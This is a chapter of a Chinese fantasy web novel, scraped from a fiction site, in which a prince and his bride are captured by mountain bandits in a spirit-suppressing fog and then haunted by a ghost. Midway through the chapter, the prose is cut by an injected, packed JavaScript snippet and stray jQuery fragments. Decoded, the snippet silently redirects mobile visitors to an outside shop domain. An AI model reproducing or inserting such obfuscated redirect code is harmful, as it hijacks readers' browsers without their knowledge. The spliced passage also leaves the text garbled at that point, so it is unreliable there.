文趣网 > 都市小说 > 新婚夜被王爷掐脖子后 > 9. 风万里
    匪首把半人高的开|山|刀往路面一墩,刀刃磕得碎石飞溅,唾沫星子顺着胡茬乱飞,张嘴就来:“此山是我开,此树是我栽。要想从此过,留下买路财。要是财不够,就拿人来凑!”

    身后二三十名山匪手持棍棒短刃一拥围堵马车:“听见没有!识相就麻利把金银灵石掏出来,磨蹭下去拆了你这整车!”

    匪首刀尖抬起来直指车帘,眼尾一挑,笑道:“弟兄们,咱们的口号是什么?给他们整一遍!”

    一众小喽啰齐声大喊,道:“老的、丑的、带把的——统统滚蛋。活的、年轻的、好看的——乖乖留下~”

    喊声落地,马车帷幔被指尖掀开一角。一只骨节修长的手轻搭车沿,慢条斯理地撩开了帷布。

    帝浔走下车,冷声道:“口号不错。留着办丧事当祭词更不错。”

    匪首歪头打量帝浔一番,嗤笑:“哟,瞧着倒是个细皮嫩肉的小白脸。成婚了?”

    帝浔淡淡道:“与你无关。”

    匪首咧嘴坏笑:“怎么无关?看你这模样,定然是娶了娇妻。这样正好,老子就好这口,专抢旁人的夫人。没开过婚的黄毛丫头,老子还瞧不上。”

    说着他屈指叩了叩马车侧壁:“小美人快露面,陪哥哥回山寨做压寨夫人,保你吃香喝辣。”

    帝浔哼笑:“你这条舌头,跟了你多少年了?”

    匪首茫然反问:“你什么意思?”

    帝浔道:“本王在替你算,你还能用它蹦出几句话。”

    匪首怔了半晌,随即像是听到天大的笑话,仰头狂笑不止。

    “本王?”他刀尖直指帝浔,回头对着一众手下大喊:“你们听见没?这人居然敢自称本王!瞧你穿得光鲜体面,我还当是哪家富家公子,原来竟是个王爷?什么王爷?北冥城落魄王爷?”

    帝浔捏拳。

    匪首狠狠往地上啐了一口,满脸不屑:“那种鸟不拉屎的荒僻之地,也好意思称王?你不会就是那个被龙帝贬去北冥,无权无势的二皇子吧!”

    “你的事我早有耳闻,被皇室弃置边疆,连朝堂都踏不进去。落魄成这样,还敢摆王爷架子?不过听说你娶了青丘狐女?运气倒是不错。”

    “若你识相,乖乖把夫人交出来,给我做压寨夫人。今日我便大发慈悲,饶你一条狗命。”

    马车内,宝酥静静坐在软垫上听着。她心知苍梧郡浓雾天生克制高阶修士,修为越高,灵力被压制得越狠。帝浔如今身陷险境,越是强行动手,修为跌落越快。

    “王爷还在犹豫什么?为何迟迟不出剑?”

    被宝酥一语点醒,帝浔敛去胸中郁气,抬眼:“报上名来。本王的剑,不斩无名鼠辈。”

    匪首挺胸掂了掂手里长刀,傲气满满:“老子行不更名坐不改姓,苍梧郡黑风寨,风万里!圣境初期!”

    圣境初期……

    宝酥暗自想起母后的教诲,圣境中期的修为,行走在外便足以称霸一方。

    苍梧迷雾天生克制高阶修士,对低阶武者却几乎没有影响。风万里身处此地,灵力损耗比起帝浔要轻上数百倍。更何况他自幼熟悉这片山林地势,天时地利尽握在手,早已占尽了天然上风。

    念头起落间,帝浔已然拔剑。

    寒芒一闪,剑光破空而出。只听当啷一声脆响,风万里手中大刀直接被震飞脱手。

    也正是这一剑的力道落差,让风万里一眼瞅见了破绽。帝浔握剑的手腕,竟在细微地轻颤,力道根本稳不住。

    风万里当即气焰暴涨,猖狂大笑:“殿下,你手抖什么?莫不是在这苍梧地界使不上劲?我劝你省点力气。”

    “这地方的雾,专治你们这些境界高的。就算你往日是顶尖帝境又如何?在这儿,你又能发挥出几成实力?”

    帝浔垂眸,低头看向自己发颤的双手。

    方才挥剑一瞬,他清晰地感受到体内修为不受控制地断崖下坠。帝境根基溃散,接连跌至圣境巅峰、圣境中期,最终硬生生被困在圣境初期,就连运转灵力分毫都格外费力。

    一旁围观的小喽啰们见状,立马肆无忌惮地哄笑起哄:

    “哈哈哈,什么王爷,原来是不行了啊!”

    “殿下这是灵力耗空了吧?压根打不动人咯!”

    “我看就是个纸糊的王爷,中看不中用!”

    马车内,宝酥听得心头一紧。她就怕迷雾压制太狠,帝浔实力大打折扣,真要持久战,吃亏的一定是他。如果他一直不出手,留着一身帝境实力,灵力流失的速度是最快的。但他挥出那一剑之后,修为肯定掉了。

    所幸境界越低,受雾的压制越小。及时止损收力,帝浔反倒不会被迷雾持续反噬,好受不少。可即便这样,眼下终究敌众我寡,局势对他们极其不利。

    宝酥心念一转,索性将计就计。

    外头一众土匪的哄笑声还未收住,一道软糯入骨的女声便从马车里悠悠飘了出来。

    “王爷~”

    那声音柔得似水、自带娇柔,刹那就让所有小喽啰的笑声戛然而止。

    那些小喽啰个个眼神发直,魂都快要飘没了。

    车厢内的阮暴富听得浑身一激灵,她印象里的小狐狸平时不这样的,她听了都这样,更别说那些山匪了。

    风万里浑身骨头都酥了,搓着手满脸呆笑:“小媳妇快出来让夫君好好瞧瞧!就这一声儿,差点把老子的魂都给勾走了!”

    帝浔冷嗤一声:“你哪只耳朵听见,她是在叫你?”

    风万里嘿嘿一笑,拍了拍自己的脸:“老子可不像你,老子从来不要脸!不管她叫没叫我,老子就当是喊我,你能怎么样?气死你!”

    帝浔一时语塞:“你——”

    身后小喽啰回过神来,凑上来拍马屁:“大哥说得对!太对了!”

    风万里一脚踢开他:“滚,别挡老子看美人儿。”他歪头往马车方向探:“小媳妇,快出来。再叫一声,大点声,让哥哥好好听听。”

    帝浔捏拳。

    宝酥咬唇。

    马车里安静下来,半点声响都没有。

    风万里顿时不耐烦了:“怎么不吭声?害羞了?害啥羞,一回生二回熟。等把你带回山寨,天天让你叫,叫到嗓子哑为止!”

    风万里正得意洋洋还要再说,车帷被人掀开。宝酥缓步走下马车,压根没看他一眼,径直走到帝浔身旁站定。

    帝浔垂眸看她:“你下来做什么?”

    宝酥浅浅一笑:“我不下来,他怎么肯乖乖让路?”

    风万里打量了一番宝酥道:“还是王妃识趣啊~”他刀尖往帝浔方向一指,“你看看你媳妇,再看看你。人家都知道识时务,你还跟老子犟。”

    宝酥转过身,看着风万里,不急不慢说道:“这位大哥,我下来了。路,能让了吗?”

    风万里坏笑道:“让路?谁说让路了?我只是说你肯下来,老子心里高兴。至于路嘛——”他拖长了调子,“照样不让。”

    宝酥看着他,笑容没变:“那大哥想怎样?”

    风万里歪头往寨子的方向一瞥:“跟老子回寨子。住几天。住高兴了,自然送你们走。当然,要是一直不高兴,那就不一定了。”

    宝酥笑道:“那可否容我与王爷说两句私话?”

    风万里眼底掠过一丝提防,他正要吩咐喽啰贴身旁听,宝酥却浅道:“大哥大可就近盯着,我们灵力被瘴气锁死,插翅难飞,何来耍诈的余地?”

    风万里斟酌片刻,不耐烦挥手遣退手下。

    “行行行,不急~”

    宝酥拽着帝浔退至荒草掩映处,借着身形遮挡,从袖中摸出一枚刻满细密狐纹的玉扣,飞快塞进他掌心。

    “传音扣。”宝酥小声说:“我在青丘时做的,一直没用过。范围有限,不能离太远。只能用三次。”

    帝浔低头看着掌心里的玉扣,拇指在纹路上蹭了一下,道:“你打算怎么做?想入匪窝?”

    “王爷,我们现在都被压制着。他们人多,硬拼不是对手。”

    “所以?”

    “所以将计就计,跟他们入寨,寻脱身契机。”宝酥抬起眼看着他:“寨子可能在雾的边缘,受到的压制会更小。到时候——”

    “到时候你也没有灵力啊。”帝浔打断她:“你现在一点灵力都没有。”

    宝酥沉默片刻,缓缓伸出手,掌心朝上轻轻摊开,递到他面前:“那王爷能握住妾身吗?就像那天晚上一样。渡一点给妾身。”

    帝浔垂眸望着她摊开的素白掌心,沉默不语。

    “王爷~”

    宝酥软声又唤了一句,满是恳切:“请相信妾身,妾身有自保之力。”

    几番僵持之下,帝浔勉强相信:“把你的传音扣给我。”

    宝酥乖乖递给他。

    帝浔抬眸,伸手覆上她的掌心,将传音扣稳稳夹在两人相贴的手心之间。

    掌心相贴,玉扣泛起温热微光,一缕精纯灵力从帝浔掌心流淌而出,不多,但够用。

    宝酥能清晰感受到那股暖流顺着指尖蜿蜒而上,途经腕间经脉,最终沉入丹田之中。

    舒服!

    “够了吗?”帝浔轻声问道。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17585795|205253||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>“够了。”

    帝浔没松手,又渡了一点:“别死了。”

    “嗯。”

    帝浔把宝酥的传音扣还给她。

    宝酥又问:“王爷还在传音扣里面渡灵力了?”

    帝浔偏过头,道:“没有。”

    “哦……”

    *

    雾越来越浓,白茫茫的瘴气裹着寒意弥漫四野,山路也愈发狭窄。

    枯黑的枝桠从雾里伸出来,死死勾住宝酥的衣袖。宝酥轻轻扯了扯,竟一时没能挣开:“谁拉我……”

    风万里在后面催:“快点快点,磨蹭什么小美人。”

    也在这时,浓雾深处悠悠飘来一道声音。

    “别走……”

    幽幽怨怨,是个女子的声音,听得人头皮发麻。

    “借我一滴……童子尿……”

    话音落下,风万里的脚步停了,一众小喽啰也齐齐僵在原地,不敢动弹半分。

    不知哪个胆小的喽啰破防喊了句:“那女鬼又来了!快,快回寨子!”

    一众土匪如梦初醒,连滚带爬往前狂奔,鞋跑掉了也不捡,刀撞得叮当响。有人摔了个狗啃泥,爬起来呸了两口,边跑边骂:“哪个缺德的踩老子脚背!”

    “借我一滴……童子尿……借我一滴……童子尿……”声音越来越近,从四面八方围过来的。

    风万里催道:“快!赶紧回寨!千万别被她缠上!都给我跑快点!”

    雾中女声步步紧随,忽远忽近,无处不在:

    “别走那么急……等等我……”

    “我就借一滴……不多要……”

    众人没命似的往前狂奔。

    寨门在雾里若隐若现。

    风万里快步上前,一把推开寨门,身后一众山匪立刻蜂拥而入。随着哐当一声巨响,寨门重重合拢,雾中阴森的女声才销声匿迹。

    寨内众人这才敢大口喘气。

    风万里缓过神,立马转头盯上宝酥,伸手就按住她的双肩,假意关切:“美人儿,没被那女鬼吓到吧?方才真是凶险。”

    宝酥挪了挪身子,苦笑:“嗯……没……”

    风万里听着又叹了口气:“唉~想不到这么快我就跟美人儿共生死了……既然有这份缘分,往后在山寨我定然好好待美人儿~”

    帝浔被捆在一旁,闻言抬眸,目光淡淡扫过风万里搭在宝酥肩上的手,道:“你这共生死的门槛,倒比你寨子的门槛还低。”

    宝酥:“……”

    风万里听完脸色一变,撸起袖子就要冲过去找帝浔算账:“好你个阶下囚,满嘴怪话欠收拾!”

    宝酥连忙横步拦在中间,笑着打圆场:“大哥息怒,他就是性子冷,说话不中听,您别往心里去。”

    风万里立马收了火气,转头又对着宝酥谄媚:“还是美人懂事,我说到做到,这‘几日’定然细心照料。”

    “……”

    宝酥轻笑,没再接话。

    她开始不动声色地打量起这寨子。

    浓浓的白雾尽数被竹木篱笆阻隔在外,明明方才还深陷迷雾、耳边萦绕着女鬼的声响,可寨中却是一片清明,既无迷雾笼罩,也听不到半点诡异声响。真是奇怪。

    宝酥正暗自心生疑虑,耳畔也在这时传来一丝极轻的动静。

    滴答。

    滴答。

    滴答。

    宝酥望向地面,寨内地面干燥,毫无积水,根本不该有这种滴水之声。

    周遭山匪还在喘息,无人察觉这诡异异响,唯独宝酥听得真切。

    那声音不远不近,好像就贴在她的身后。

    宝酥循着声响,缓缓转身。

    这一转,当即惊得她心口狠狠一缩。

    只见竹木篱笆的缝隙之间,一双惨白枯槁的手正死死攥着篱条;篱边暗处,一张黑白斑驳、夹杂着血色的人脸,正静静嵌在那里,偷偷窥伺。

    而那滴答滴答声,就是她嘴角的血水……

    “我后面有人!”宝酥捂着心口转回去,虽不敢看但手却指着篱笆。

    风万里转身,顺着她手指的方向看过去,道:“哪有什么人……美人儿定是吓眼花了。咱们寨子镇邪,外面的脏东西进不来,安全得很。”

    待宝酥再转身望去,篱笆旁早已空空如也,地面也干干净净。

    可宝酥心里清楚,自己绝没有看错。

    那双冰冷惨白的手,那张诡异骇人的人脸,还有那张不停开合流着血的嘴……

    那嘴分明就是在对她念叨——

    “给我一滴……童子尿……”